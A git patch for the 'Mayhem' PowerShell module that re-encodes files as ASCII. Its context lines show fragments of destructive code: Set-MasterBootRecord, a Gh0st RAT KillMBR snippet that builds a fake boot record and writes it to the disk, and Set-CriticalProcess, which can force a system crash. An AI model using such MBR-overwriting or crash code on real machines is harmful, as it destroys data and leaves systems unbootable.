From 12ce71b9f4b0428d9425e001e5988f91eb2b8b87 Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Wed, 4 Nov 2015 13:48:27 -0500 Subject: Normalizing all files to ascii encoding --- Mayhem/Mayhem.psd1 | 2 +- Mayhem/Mayhem.psm1 | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) (limited to 'Mayhem') diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index 82035d8..8eb0566 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -1,4 +1,4 @@ -@{ +@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Mayhem.psm1' diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index 0b4f843..0baaf3e 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,4 @@ -function Set-MasterBootRecord +function Set-MasterBootRecord { <# .SYNOPSIS @@ -57,7 +57,7 @@ int CGh0stApp::KillMBR() DWORD dwBytesWritten, dwBytesReturned; BYTE pMBR[512] = {0}; - // 重新构造MBR + // ????MBR memcpy(pMBR, scode, sizeof(scode) - 1); pMBR[510] = 0x55; pMBR[511] = 0xAA; @@ -85,7 +85,7 @@ int CGh0stApp::KillMBR() &dwBytesReturned, NULL ); - // 写入病毒内容 + // ?????? WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); DeviceIoControl ( @@ -363,4 +363,4 @@ Set-CriticalProcess -Force -Verbose { Stop-Process -Id $PID } -} \ No newline at end of file +} -- cgit v1.2.3